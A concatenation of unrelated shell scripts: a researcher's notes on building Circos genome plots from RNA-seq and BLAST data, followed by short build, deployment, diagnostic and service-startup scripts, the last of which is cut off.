two scaffolds\n\nhttp://circos.ca/documentation/tutorials/quick_start/hello_world/configuration\n\nto run ciros on biolinux:\n\nperl PATH_TO/bin/circos -conf circos_Mc.conf\n\n# note see end of file for how RNAseq was mapped and some files were generated:\n\n#########################################################\n#prepare the gene files first:\n\ncd circos/\ncd Mp1_mpsec_5_all_genomes/\nmkdir RP\ncat Rpa.v1.gff | grep \"Rp1827\" | cut -f9 | grep \"ID=\" | grep -v \".t1\" > RPgenes\nls\npython ~/misc_python/get_sequences_i_want_from_fasta_command_line.py R.padi_AA.annotated.fasta RPgenes Rp1827.scaffold.gene.fasta\nhead Rp1827.scaffold.gene.fasta\ncd RP\npython ~/misc_python/get_sequences_i_want_from_fasta_command_line.py R.padi_AA.annotated.fasta RPgenes Rp1827.scaffold.gene.fasta\nhead Rp1827.scaffold.gene.fasta\n\n\n\n\ncat Pea_aphid.gff | grep \"GL349624\" | grep \"gene\"\npython ~/misc_python/get_sequences_i_want_from_fasta_command_line.py A.pisum.AA.annotated.fasta peagenes GL349624.scaffold.gene.fasta\n\n\ncat Dnox.v1.gff | grep JOTR01000179 | grep \"gene\" > Dnoxgenes\n\npython ~/misc_python/get_sequences_i_want_from_fasta_command_line.py Dnox.v1.AA.fasta Dnoxgenes JOTR01000179.scaffold.gene.fasta\n\n##############################################################\n\n\n\n0) detect synteny using MCScanX first - this will help to identify syntenic scaffolds.\n\n#############################################################################################################\n1) create a GC window\n\t\t# arguments: in.fasta windowsize > pipe_to_file\n\t\t\n\t\t$ python ~/misc_python/Circos_python_scripts/gc_window_for_sequences.py Mc_mp1_mpsec5_scaffold.fasta 25 > Mc_mp1_mpsec5_scaffold.fasta.gc.25.txt\n\t\t$ python ~/misc_python/Circos_python_scripts/gc_window_for_sequences.py Mc_mp1_mpsec5_scaffold.fasta 250 > Mc_mp1_mpsec5_scaffold.fasta.gc.250.txt\n\t\t$ python ~/misc_python/Circos_python_scripts/gc_window_for_sequences.py Mp1_Mpsec5.scaffodl.fasta 25 > Mp1_Mpsec5.scaffodl.fasta.gc.25.txt\n\t\t$ python ~/misc_python/Circos_python_scripts/gc_window_for_sequences.py Mp1_Mpsec5.scaffodl.fasta 250 > Mp1_Mpsec5.scaffodl.fasta.gc.250.txt\n\t\t\n\t\t#cat the coverage files of the scaffolds together in one file. , make sue the scaff names are consistent with later names\n\t\tcat *gc.250.txt > all.GC.250.txt\n\t\t$ cat *gc.25.txt > all.GC.25.txt\n\t\t\n#############################################################################################################\t\t\n2) create a karytype file: save this file, as the confi file will use this\n\n\t\t#e.g. chr - ID LABEL START END COLOR\n\t\t\n\t\t# SPACE SEPAREATED!!!\n\t\tchr - Gr1_EF193005 Gr1 0 9210 vvvlgrey\n\t\tchr - Gr2_EF462976 Gr2 0 6604 vvvlgrey\n\t\tchr - Gr3_EF462977 Gr3 0 3192 vvvlgrey\n\t\tchr - Gr4_EF462978 Gr4 0 6010 vvvlgrey\n\t\tchr - Gr5_EF462979 Gr5 0 5480 vvvlgrey\n\t\tchr - Gr6_EF462980 Gr6 0 5797 vvvlgrey\n\t\tchr - Gr7_EF462981 Gr7 0 5308 vvvlgrey\n\t\t\n\t\t# so I wan to draw to scaffold. detail the star and end, and only put two scaffold in the file. \n\t\t# get scaff len from files from step one\n\t\tchr - Mc363 Mc363 0 74024 vvvlgrey\n\t\tchr - scaffold_172 scaffold_172 0 382779 vvvlgrey\n\t\tchr - Rp1827 Rp1827 0 90145 vvvlgrey\n\t\tchr - GL349624 GL349624 0 2478080 vvvlgrey\n\t\tchr - JOTR01000179 JOTR01000179 0 536200 vvvlgrey\n\n \n############################################################################################################# \n 3) get the coverage plots.\n \n #I am chosing RNAseq cov.\n #map the RNAseq to the whole genome:\n \n\t\tmkdir star_indicies\n\t\t$ STAR --runMode genomeGenerate --runThreadN 10 --limitGenomeGenerateRAM 74554136874 --genomeDir PATH/scratch/PATH_TO/Mp_O/Mp_O_host_non_RNAseq_assembly/star_indicies --genomeFastaFiles PATH/scratch/PATH_TO/Mp_O/Mp_O_host_non_RNAseq_assembly/Mp1087439_TGAC_V1.1-scaffolds.fa\n\t\t$ STAR --genomeDir star_indicies/ --runThreadN 12 --outFilterMultimapNmax 5 --outSAMtype BAM SortedByCoordinate --outFilterMismatchNmax 7 --readFilesCommand zcat --outFileNamePrefix Mp_O_RNA_mapped --readFilesIn ../Mp_O_RNAseq/Mp_O_R1.fq.gz ../Mp_O_RNAseq/Mp_O_R2.fq.gz\n\t\t\n\t\t# index the genome\n\t\t$ STAR --runMode genomeGenerate --runThreadN 10 --limitGenomeGenerateRAM 74554136874 --genomeDir PATH/scratch/PATH_TO/M.cerasi/star_indicies --genomeFastaFiles PATH/scratch/PATH_TO/M.cerasi/Mc_alt.fasta\n\t\t$ STAR --genomeDir star_indicies/ --runThreadN 12 --outFilterMultimapNmax 5 --outSAMtype BAM SortedByCoordinate --outFilterMismatchNmax 7 --readFilesCommand zcat --outFileNamePrefix Mc_wild --readFilesIn PATH/scratch/PATH_TO/M.cerasi/RNAseq/Mc_R1.fq.gz PATH/scratch/PATH_TO/M.cerasi/RNAseq/Mc_R2.fq.gz\n\t\t\n\t\t# sort the bam file\n\t\t$ samtools sort -@ 16 Mc_wildAligned.sortedByCoord.out.bam mc_sorted\n\t\t\n\t\t# index the sorted bam file\n\t\t\n\t\t$ samtools index mc_sorted\n\t\t\n\t\t#get the depth of coverage at each postition: samtools depth\n\t\t$ samtools depth mc_sorted.bam > Mc_whole_genome.RNAseq.depth\n\t\t$ samtools depth Mp_O_RNA_mappedAligned.sortedByCoord.out.bam > Mp_O_RNA.depth\n\t\t\n\t\t# python to return the cov of ONLY the scaffold of interest\n\t\t# have to set up a file with the scaffolds of interest in arg.var[2]\n\t\t\n\t\t$ python ~/misc_python/Circos_python_scripts/get_scaffold_cov_only.py Mc_whole_genome.RNAseq.depth wanted_scaff > Mc363_RNAseq.dpeth.out\n\t\t\n\t\tpython ~/misc_python/Circos_python_scripts/get_scaffold_cov_only.py PATH/scratch/PATH_TO/Mp_O/Mp_O_host_non_RNAseq_assembly/Mp_O_RNA.depth wanted_scaff > Mp1087439_TGAC_V1.1_scaffold_172_RNAseq.dpeth.out\n\t\t\n\t\t#python cov_window_for_covfile.py covfile window_size karyoteyp_file > output_file.txt\n\t\t$ python ~/misc_python/Circos_python_scripts/cov_window_for_bedfile.py Mc363_RNAseq.dpeth.out 250 ./plotting_files/karyotype.Mc.txt > Mc363_RNAseq.dpeth.250.window\n\t\t\n\t\t$ python ~/misc_python/Circos_python_scripts/cov_window_for_bedfile.py Mp1087439_TGAC_V1.1_scaffold_172_RNAseq.dpeth.out 250 ./plotting_files/karyotype.Mc.txt > Mp1087439_TGAC_V1.1_scaffold_172_RNAseq.dpeth.out.250.window\n\n\t\t$ python ~/misc_python/Circos_python_scripts/cov_window_for_bedfile.py Mp1087439_TGAC_V1.1_scaffold_172_RNAseq.dpeth.out 100 ./plotting_files/karyotype.Mc.txt > Mp1087439_TGAC_V1.1_scaffold_172_RNAseq.dpeth.out.100.window\n\t\t\n\t\t#cat the cov plots:\n\t\tcat *cov.100.txt > all.RNAseq.dpeth.out.100.windw\n\t\t\n\n#############################################################################################################\n4) blast the proteins sequences already ...\n\n\t\t# sensitive blastx vs nr \n\t\t# --max-target-seqs 5 if required\n\t\tdiamond blastp -p 16 --sensitive -e 1e-5 -v -q Mc_Mp.fasta -d Mc_Mp.dmnd -a p.Mc_Mp_vs_mc_mp.da\n\t\tdiamond view -a p.Mc_Mp_vs_mc_mp.da*.daa -f tab -o p.Mc_Mp_vs_mc_mp.tab\n\t\t\n\t\tcp p.Mc_Mp_vs_mc_mp.tab Mc_Mp.blast\n\t\t# individual species Mc\n\t\tdiamond blastp -p 16 --sensitive -e 1e-10 -v -q ./fastafile/M.cerasi.V1.AA.fasta -d Mc.dmnd -a p.Mc_vs_mc.da\n\t\tdiamond view -a p.Mc_vs_mc.da*.daa -f tab -o p.Mc_vs_mc.tab\n\t\t\n\t\tcp p.Mc_vs_mc.tab Mc_Mc.blast\n\t\t# individual species Mp\n\t\tdiamond blastp -p 16 --sensitive -e 1e-10 -v -q ./fastafile/Mp_O_v1.AA.fasta -d Mp.dmnd -a p.Mp_vs_mp.da\n\t\tdiamond view -a p.Mp_vs_mp.da*.daa -f tab -o p.Mp_vs_mp_.tab\n\t\tcp p.Mp_vs_mp.tab Mp_Mp.blast\n\n\n#############################################################################################################\n5) parse the blast file.\n\t\tpython ~/misc_python/Circos_python_scripts/DNA_blast_analysis.py mp1_mpsec5_scff.blast 30 > mc_mp_ribbon.bit30.between.txt\n\t\t\npython ~/misc_python/Circos_python_scripts/DNA_blast_analysis.py all_vs_all.tab 30 | grep -v \".t2\" > all_blast.bit30.between.txt\npython ~/misc_python/Circos_python_scripts/DNA_blast_analysis.py all_vs_all.tab 50 > all_blast.bit50.between.txt\npython ~/misc_python/Circos_python_scripts/DNA_blast_analysis.py all_vs_all.tab 70 > all_blast.bit70.between.txt\npython ~/misc_python/Circos_python_scripts/DNA_blast_analysis.py all_vs_all.tab 1000 > all_blast.bit100.between.txt\npython ~/misc_python/Circos_python_scripts/DNA_blast_analysis.py all_vs_all.tab 100 | grep -v \".t2\" | grep -v \".12\" > all_blast.bit100.between.txt\npython ~/misc_python/Circos_python_scripts/DNA_blast_analysis.py all_vs_all.tab 150 > all_blast.bit150.between.txt\n\n\n\ncat all_blast.bit100.between.txt | grep -v \".t2\" > all_blast.bit100.between2.txt\ncat all_blast.bit30.between.txt | grep -v \".t2\" > all_blast.bit30.between2.txt \ncat all_blast.bit70.between.txt | grep -v \".t2\" > all_blast.bit70.between2.txt \ncat all_blast.bit150.between.txt | grep -v \".t2\" > all_blast.bit150.between2.txt\ncat all_blast.bit50.between.txt | grep -v \".t2\" > all_blast.bit50.between2.txt \n\nrm all_blast.bit100.between.txt\nrm all_blast.bit30.between.txt \nrm all_blast.bit70.between.txt \nrm all_blast.bit150.between.txt\t\t\nrm all_blast.bit50.between.txt \t\n\n\n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit50.between2.txt -o temp\t\n \n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit100.between2.txt -o all_blast.bit100.between.txt\n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit70.between2.txt -o all_blast.bit70.between.txt \n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit150.between2.txt -o all_blast.bit150.between.txt\n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit50.between2.txt -o all_blast.bit50.between.txt \n \n \n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit30.between.txt --gff all.gff -o all_blast.bit30.between.genecoordinates.txt \n \n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit150.between.txt --gff all.gff -o all_blast.bit150.between.genecoordinates.redone.txt\n\n python ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit100.between.txt --gff all.gff -o all_blast.bit100.between.genecoordinates.redone.txt\n\n \nthe blast file needs to be formatted correctly. - save as file so config can get it\n\npython ~/misc_python/Circos_python_scripts/re_format_blast_results.py -i all_blast.bit50.between2.txt -o temp\n\t\t\n\t\t#scaffold\tstart\tstop\tsaff2\tstart\tstop\tcolour\n\t\tscaffold_172 103340\t104192 Mc363 54754\t55592 color=red\n\t\tscaffold_172 108506\t109843 Mc363 60978\t61364 color=red\n\t\tscaffold_172 273725\t274104 scaffold_172 482 614 color=lgrey\n\t\tscaffold_172 297225\t301530 scaffold_172 297225\t301530 color=lgrey\n\n#############################################################################################################\t\t\n6) creat a bands file\n\n cat Rpa.v1.gff | grep -Ff RPgenes | grep \"gene\" | cut -f1,4,5,9 > Rp_gene_coordinates\n\n#saffold\tstart\tstop\ttag/info\tlabel\n\t\tscaffold_172\t9486\t16018\tMpe06376|beat\tlable=gene\n\t\tscaffold_172\t31923\t32321\tMpe06377|NA\tlable=gene\n\t\tscaffold_172\t47231\t47605\tMpe06378|NA\tlable=gene\n\t\tscaffold_172\t72647\t72952\tMpe06379|NA\tlable=gene\n\t\tscaffold_172\t103340\t104192\tMpe06380|LOC100165393\tlable=effector\n\t\tscaffold_172\t108506\t109843\tMpe06381|LOC100167427\tlable=effector\n\t\tscaffold_172\t117114\t117401\tMpe06382|NA\tlable=gene\n\t\tscaffold_172\t120130\t120610\tMpe06383|NA\tlable=gene\n\t\tscaffold_172\t142290\t142616\tMpe06384|NA\tlable=gene\n\t\tscaffold_172\t168389\t168634\tMpe06385|NA\tlable=gene\n\t\tscaffold_172\t169387\t171558\tMpe06386|NA\tlable=gene\n\t\tscaffold_172\t190768\t191079\tMpe06387|NA\tlable=gene\n\t\tscaffold_172\t217249\t254885\tMpe06388|thiamine\tlable=gene\n\t\tscaffold_172\t255459\t260980\tMpe06389|nuclear\tlable=gene\n\t\tscaffold_172\t266885\t272296\tMpe06390|polymerase\tlable=gene\n\t\tscaffold_172\t273725\t274104\tMpe06391|prestin\tlable=gene\n\t\tscaffold_172\t297225\t301530\tMpe06392|prestin\tlable=gene\n\t\tscaffold_172\t366032\t366484\tMpe06393|NA\tlable=gene\n\t\tMc363\t17340\t17753\tMca02123|NA\tlable=gene\n\t\tMc363\t18196\t18558\tMca02124|NA\tlable=gene\n\t\tMc363\t19125\t19403\tMca02125|NA\tlable=gene\n\t\tMc363\t48996\t49592\tMca02126|NA\tlable=gene\n\t\tMc363\t54754\t55592\tMca02127|LOC100165393\tlable=effector\n\t\tMc363\t60978\t61364\tMca02128|Me10\tlable=effector\n\t\t\n#############################################################################################################\t\t\n7)\n\n#########################\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tcd PATH/scratch/PATH_TO/Pea_aphid\n\n\n\ncat PATH/scratch/PATH_TO/Pea_aphid/data/N116_R1_Q30paired.fq.gz PATH/scratch/PATH_TO/Pea_aphid/data/PS01_R1_Q30paired.fq.gz > R1.fq.gz\ncat PATH/scratch/PATH_TO/Pea_aphid/data/N116_R2_Q30paired.fq.gz PATH/scratch/PATH_TO/Pea_aphid/data/PS01_R2_Q30paired.fq.gz > R2.fq.gz\n\nSTAR --genomeDir star_indicies/ --runThreadN 12 --sjdbGTFfile ./A.pisum.gtf --quantMode TranscriptomeSAM --outFilterMultimapNmax 5 --outSAMtype BAM SortedByCoordinate --outSAMmapqUnique 255 --outFilterMismatchNmax 5 --readFilesCommand zcat --outFileNamePrefix Pea --readFilesIn R1.fq.gz R2.fq.gz \n\n\n#1) create a GC window\n# arguments: in.fasta windowsize > pipe_to_file\n\t\t\npython ~/misc_python/Circos_python_scripts/gc_window_for_sequences.py GL349624.scaffold.fasta 25 > GL349624.scaffold.fasta.gc.25.txt\npython ~/misc_python/Circos_python_scripts/gc_window_for_sequences.py GL349624.scaffold.fasta 250 > GL349624.scaffold.fasta.gc.250.txt\n\n\nsamtools sort -@ 12 PeaAligned.sortedByCoord.out.bam Pea_sorted\n\nsamtools index Pea_sorted.bam\n\n\n#get the depth of coverage at each postition: samtools depth\nsamtools depth Pea_sorted.bam > Pea_whole_genome.RNAseq.depth\n\n#GL349624 wanted scaffold\n\npython ~/misc_python/Circos_python_scripts/get_scaffold_cov_only.py Pea_whole_genome.RNAseq.depth wanted.scaff > GL349624_RNAseq.depth.out\n\t\t\n#python cov_window_for_covfile.py covfile window_size karyoteyp_file > output_file.txt\n\t\t\npython ~/misc_python/Circos_python_scripts/cov_window_for_bedfile.py GL349624_RNAseq.depth.out 250 /home/PATH_TO/scratch/diagram_drawing_test/circos/mp1_mpsec5/plotting_files/karyotype.Mc.txt > GL349624_RNAseq.depth.out_RNAseq.dpeth.out.250.window\n\npython ~/misc_python/Circos_python_scripts/cov_window_for_bedfile.py GL349624_RNAseq.depth.out 100 /home/PATH_TO/scratch/diagram_drawing_test/circos/mp1_mpsec5/plotting_files/karyotype.Mc.txt > GL349624_RNAseq.depth.out_RNAseq.dpeth.out.100.window\n\npython ~/misc_python/Circos_python_scripts/cov_window_for_bedfile.py GL349624_RNAseq.depth.out 50 /home/PATH_TO/scratch/diagram_drawing_test/circos/mp1_mpsec5/plotting_files/karyotype.Mc.txt > GL349624_RNAseq.depth.out_RNAseq.dpeth.out.500.window\n\n\ngene_to_scaff_dict = {\"Api\": \"GL349624\",\n \"Mca\": \"Mc363\",\n \"Mpe\": \"scaffold_172\",\n \"Rpa\": \"Rp1827\",\n \"Dno\": \"JOTR01000179\",\n \"MYZPE\": \"scaffold_648\"}"} {"text": "<filename>tests/field/include/api/bitbucket.sh\n#!/bin/bash -e\n#\n# Bitbucket API access helper functions.\n\nbitbucket() {\n COMMAND=\"$1\"\n RESOURCE=\"$2\"\n PROJECT_URL=\"https://gitlab.com/api/v4/projects/${BITBUCKET_PROJECT_NAME}\"\n set -e\n curl --silent \\\n --header \"Authorization: Bearer $BITBUCKET_API_TOKEN\" \\\n --request $COMMAND \\\n \"${PROJECT_URL}/${RESOURCE}\" \"${@:3}\"\n}"} {"text": "# Copy ionic vue dist\nrm -rf node_modules/@ionic/vue/dist node_modules/@ionic/vue/css\ncp -a ../dist node_modules/@ionic/vue/dist\ncp -a ../css node_modules/@ionic/vue/css\ncp -a ../package.json node_modules/@ionic/vue/package.json\n\n# Copy ionic vue router dist\nrm -rf node_modules/@ionic/vue-router/dist\ncp -a ../../vue-router/dist node_modules/@ionic/vue-router/dist\ncp -a ../../vue-router/package.json node_modules/@ionic/vue-router/package.json\n\n# Copy core dist and components\nrm -rf node_modules/@ionic/core/dist node_modules/@ionic/core/components\ncp -a ../../../core/package.json node_modules/@ionic/core/package.json\ncp -a ../../../core/dist node_modules/@ionic/core/dist\ncp -a ../../../core/components node_modules/@ionic/core/components\n\n# Copy stencil\nrm -rf node_modules/@stencil/core\ncp -a ../../../core/node_modules/@stencil/core node_modules/@stencil/core\n\n# Copy ionicons\nrm -rf node_modules/ionicons\ncp -a ../../../core/node_modules/ionicons node_modules/ionicons"} {"text": "#!/usr/bin/env bash\n\n#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nif [ -z \"${SPARK_HOME}\" ]; then\n export SPARK_HOME=\"$(cd \"`dirname \"$0\"`\"/..; pwd)\"\nfi\n\n. \"${SPARK_HOME}/sbin/spark-config.sh\"\n. \"${SPARK_HOME}/bin/load-spark-env.sh\"\n\n# Find the port number for the master\nif [ \"$SPARK_GLOBAL_MASTER_PORT\" = \"\" ]; then\n SPARK_GLOBAL_MASTER_PORT=7077\nfi\n\nif [ \"$SPARK_GLOBAL_MASTER_HOST\" = \"\" ]; then\n case `uname` in\n (SunOS)\n\t SPARK_GLOBAL_MASTER_HOST=\"`/usr/sbin/check-hostname | awk '{print $NF}'`\"\n\t ;;\n (*)\n\t SPARK_GLOBAL_MASTER_HOST=\"`hostname -f`\"\n\t ;;\n esac\nfi\n\n# 让slaves脚本读取sitemasters文件\nexport SPARK_SLAVES=${SPARK_CONF_DIR}/sitemasters\n\n# Launch the site masters\n\"${SPARK_HOME}/sbin/slaves.sh\" cd \"${SPARK_HOME}\" \\; \"${SPARK_HOME}/sbin/start-cluster.sh\" \"spark://$SPARK_GLOBAL_MASTER_HOST:$SPARK_GLOBAL_MASTER_PORT\""} {"text": "#!/bin/bash\n\nexport WORKSTATIONIP=__IP_ADDRESS__\n\nif [ -f \"/root/anthos/gkeadm\" ] ; then\n echo \"Deploying Admin Workstation with gkeadm\"\n openssl s_client -showcerts -verify 5 -connect ${vcenter_fqdn}:443 < /dev/null | awk '/BEGIN/,/END/{ if(/BEGIN/){a++}; out=\"/root/anthos/vspherecert.pem\"; print >out}'\n /root/anthos/gkeadm create admin-workstation --config /root/anthos/admin-ws-config.yaml --ssh-key-path /root/anthos/ssh_key --skip-validation\nelse\n echo \"Deploying Admin Workstation with terraform\"\n terraform init\n terraform apply --auto-approve\nfi"} {"text": "#!/bin/bash\n\nrm pyparrot/images/*.png\nrm pyparrot/images/*.jpg\nrm web_monitor/output_front_images/*/*.png\nrm web_monitor/output_front_images/*/*.jpg\nrm web_monitor/output_ground_images/*/*.png\nrm web_monitor/output_ground_images/*/*.jpg"} {"text": "# The topz container runs in the same namespace as another container, so It can monitor the other containers resource usage\n# Run another container\nmain_container_id=$(docker run -d -p 9000:9000 --env PORT=9000 server_server)\n\n# Run topz as sidecar\ndocker run -d --pid=container:${main_container_id} -p 8080:8080 brendanburns/topz:db0fa58 /server --addr=0.0.0.0:8080\n\n# Access curl\ncurl 0.0.0.0:8080/topz"} {"text": "#!/bin/bash\necho \"Date\">>ping.txt\ndate>>ping.txt\necho \"_____________________________________________\">>ping.txt\ncat /etc/resolv.conf | grep nameserver>>ping.txt\necho \"______________________________________________\">>ping.txt\n\n\ncat /etc/hosts | grep 127.0.0.1>> ping.txt\necho \"______________________________________________\">>ping.txt\n\nping -c 2 google.com>>ping.txt\necho \"_________________________________________________\">>ping.txt\n\nping -c 2 facebook.com>>ping.txt\necho \"___________________________________________________\">>ping.txt\n\nping -c 2 tert.am>>ping.txt\necho \"______________________________________________________\">>ping.txt\n\n#source ping.sh>>ping.txt ping.txt"} {"text": "<reponame>jbx81-1337/binlex<filename>docker/blapi/start.sh\n#!/usr/bin/env bash\n\n# Main Loop\nwhile true; do\n rm -f /var/run/blapi.pid # this removes pid file from previous gunicorn start\n /etc/init.d/nginx start\n echo \"[-] starting gunicorn...\"\n gunicorn -D -p /var/run/blapi.pid -b 127.0.0.1:5000 \"libblapiserver.main:create_app('/startup/blapi.conf')\" --error-logfile /var/log/blapi.log\n if [ -f /var/run/blapi.pid ]; then\n echo \"[*] pid exists, watching logs\"\n tail -f /var/log/nginx/access.log /var/log/nginx/error.log /var/log/blapi.log\n else\n echo \"[x] failed to start blapi, restarting...\"\n tail -8 /var/log/blapi.log\n fi\n sleep 10;\ndone"} {"text": "<filename>teleop_bot/keystrokes.sh\n#!/bin/bash\nrostopic pub keys std_msgs/String w --once\nrostopic pub keys std_msgs/String d --once\nrostopic pub keys std_msgs/String s --once"} {"text": "<filename>build.sh\n#!/bin/bash\n\nPLAT_X86_64=\"x86_64\"\nPYTHON_3_6=\"3.6\"\nPYTHON_3_7=\"3.7\"\nPYTHON_3_8=\"3.8\"\nPYTHON_3_9=\"3.9\"\n\nPLAT=$1\nPYTHON=$2\n\nif [ -z \"$PLAT\" ] || [ -z \"$PYTHON\" ]; then\n echo \"usage: $0 platform python-version\"\n echo \"example: $0 $PLAT_X86_64 $PYTHON_3_6\"\n exit 1\nfi\n\nif [ \"$PLAT\" == \"$PLAT_X86_64\" ]; then\n if [ \"$PYTHON\" == \"$PYTHON_3_6\" ]; then\n PY=\"36\"\n elif [ \"$PYTHON\" == \"$PYTHON_3_7\" ]; then\n PY=\"37\"\n elif [ \"$PYTHON\" == \"$PYTHON_3_8\" ]; then\n PY=\"38\"\n elif [ \"$PYTHON\" == \"$PYTHON_3_9\" ]; then\n PY=\"39\"\n else\n echo \"python $PYTHON is not supported for platform $PLAT\"\n exit 1\n fi\n\n PY=$PY docker-compose -f build-compose.yml run linux_x86_64\n\nelse\n echo \"platform $PLAT is not supported\"\n exit 1\nfi"} {"text": "<reponame>cebe/make-php\n#!/bin/bash\n#\n# a script to manage different PHP versions on one system\n#\n# author: <NAME> <<EMAIL>>\n#\n\n# where are the different php distributions located?\nPHPDIR=/srv/php\n\n# function to show usage help\nusage(){\n\techo \"usage:\"\n\techo \" $0 <buildname> - switch php to <buildname>\"\n\techo \" $0 --reset - reset system to use natively installed php version\"\n\techo \"\"\n\techo \"the following names are available:\"\n\techo \"\"\n\tls $PHPDIR\n\techo \"\"\n\techo \"you can add a new one by building php with --prefix=$PHPDIR/<buildname>\"\n}\n\n# no arg shows help\nif [ \"$1\" = \"\" ] ; then\n\tusage\n\texit 1\nfi\n\nif [ ! \"$1\" = \"--reset\" ] ; then\n\t# check if desired php dist is available\n\tif [ ! -d \"$PHPDIR/$1\" ] ; then\n\t\techo \"$PHPDIR/$1 does not exist!\"\n\t\techo \"\"\n\t\tusage\n\t\texit 1\n\tfi\nfi\n\necho \"removing existing alternatives...\"\nfor p in $(update-alternatives --list php | grep \"$PHPDIR\") ; do\n\tupdate-alternatives --remove php $p\ndone\nfor p in $(update-alternatives --list phpize | grep \"$PHPDIR\") ; do\n\tupdate-alternatives --remove phpize $p\ndone\nfor p in $(update-alternatives --list php-config | grep \"$PHPDIR\") ; do\n\tupdate-alternatives --remove php-config $p\ndone\nfor p in $(update-alternatives --list php-cgi | grep \"$PHPDIR\") ; do\n\tupdate-alternatives --remove php-cgi $p\ndone\nfor p in $(update-alternatives --list php-fpm | grep \"$PHPDIR\") ; do\n\tupdate-alternatives --remove php-fpm $p\ndone\necho \"done.\"\n\nif [ ! \"$1\" = \"--reset\" ] ; then\n\techo \"switching PHP to $1...\"\n\n\tupdate-alternatives --install /usr/bin/php php $PHPDIR/$1/bin/php 10 \\\n\t --slave /usr/share/man/man1/php.1.gz php.1.gz $PHPDIR/$1/man/man1/php.1\n\tupdate-alternatives --set php $PHPDIR/$1/bin/php\n\tupdate-alternatives --install /usr/bin/phpize phpize $PHPDIR/$1/bin/phpize 10 \\\n\t --slave /usr/share/man/man1/phpize.1.gz phpize.1.gz $PHPDIR/$1/man/man1/phpize.1\n\tupdate-alternatives --set phpize $PHPDIR/$1/bin/phpize\n\tupdate-alternatives --install /usr/bin/php-config php-config $PHPDIR/$1/bin/php-config 10 \\\n\t --slave /usr/share/man/man1/php-config.1.gz php-config.1.gz $PHPDIR/$1/man/man1/php-config.1\n\tupdate-alternatives --set php-config $PHPDIR/$1/bin/php-config\n\tupdate-alternatives --install /usr/bin/php-cgi php-cgi $PHPDIR/$1/bin/php-cgi 10 \\\n\t --slave /usr/share/man/man1/php-cgi.1.gz php-cgi.1.gz $PHPDIR/$1/man/man1/php-cgi.1\n\tupdate-alternatives --set php-cgi $PHPDIR/$1/bin/php-cgi\n\tif [ -f $PHPDIR/$1/sbin/php-fpm ] ; then\n\t\tupdate-alternatives --install /usr/sbin/php-fpm php-fpm $PHPDIR/$1/sbin/php-fpm 10 \\\n\t\t --slave /usr/share/man/man8/php-fpm.8.gz php-fpm.8.gz $PHPDIR/$1/man/man8/php-fpm.8\n\t\tupdate-alternatives --set php-fpm $PHPDIR/$1/bin/php-fpm\n\tfi\n\n\techo \"done.\"\nfi"} {"text": "<reponame>Morganls23/techSmithSoftware<filename>pingcommon/hooks/04-check-variables.sh\n#!/usr/bin/env sh\n#\n# Ping Identity DevOps - Docker Build Hooks\n#\n# Prints out variables and startup information when the server is started.\n#\n# This may be useful to \"call home\" or send a notification of startup to a command and control center\n#\n\n# shellcheck source=pingcommon.lib.sh\n. \"${HOOKS_DIR}/pingcommon.lib.sh\"\n\n#######################################################################################################\necho_header \"Directory Variables\"\necho_vars BASE IN_DIR OUT_DIR SERVER_ROOT_DIR STAGING_DIR HOOKS_DIR SERVER_PROFILE_DIR BAK_DIR LOGS_DIR SECRETS_DIR LICENSE_DIR\n\necho_header \"File Variables\"\necho_vars TOPOLOGY_FILE TAIL_LOG_FILES COLORIZE_LOGS\n\necho_header \"Server Profile\"\necho_vars SERVER_PROFILE_URL SERVER_PROFILE_BRANCH SERVER_PROFILE_PATH SERVER_PROFILE_UPDATE\n\necho_header \"DevOps User/Key\"\necho_vars PING_IDENTITY_DEVOPS_USER PING_IDENTITY_DEVOPS_KEY\n\necho_header \"License Key Info\"\necho_vars LICENSE_FILE_NAME LICENSE_SHORT_NAME LICENSE_VERSION\n\necho_header \"Product Startup\"\necho_vars STARTUP_COMMAND STARTUP_FOREGROUND_OPTS STARTUP_BACKGROUND_OPTS VERBOSE PING_DEBUG\n\necho_header \"Orchestration Info\"\necho_vars ORCHESTRATION_TYPE\n\necho_header \"Ping Product Info\"\necho_vars PING_PRODUCT LOCATION LDAP_PORT LDAPS_PORT HTTPS_PORT JMX_PORT \necho_vars USER_BASE_DN\necho_vars PD_ENGINE_PUBLIC_HOSTNAME \necho_vars PF_ADMIN_PUBLIC_HOSTNAME PF_ENGINE_PUBLIC_HOSTNAME\necho_vars PA_ADMIN_PUBLIC_HOSTNAME PA_ENGINE_PUBLIC_HOSTNAME\necho_vars ROOT_USER_DN\n\necho_header \"JVM Details\"\necho_vars MAX_HEAP_SIZE JVM_TUNING\n\n# If there are validations that have failed, then exit\nif test \"${_validationFailed}\" == true ; then\n echo_red \"Please resolve the validation issues!\"\n exit 4\nelse\n echo \"\"\nfi"} {"text": "#!/bin/bash\n#SBATCH --job-name=pretrain_erlangshen # create a short name for your job\n#SBATCH --nodes=1 # node count\n#SBATCH --ntasks=1 # total number of tasks across all nodes\n#SBATCH --cpus-per-task=30 # cpu-cores per task (>1 if multi-threaded tasks)\n#SBATCH --gres=gpu:1 # number of gpus per node\n#SBATCH -o %x-%j.log # output and error log file names (%x for job 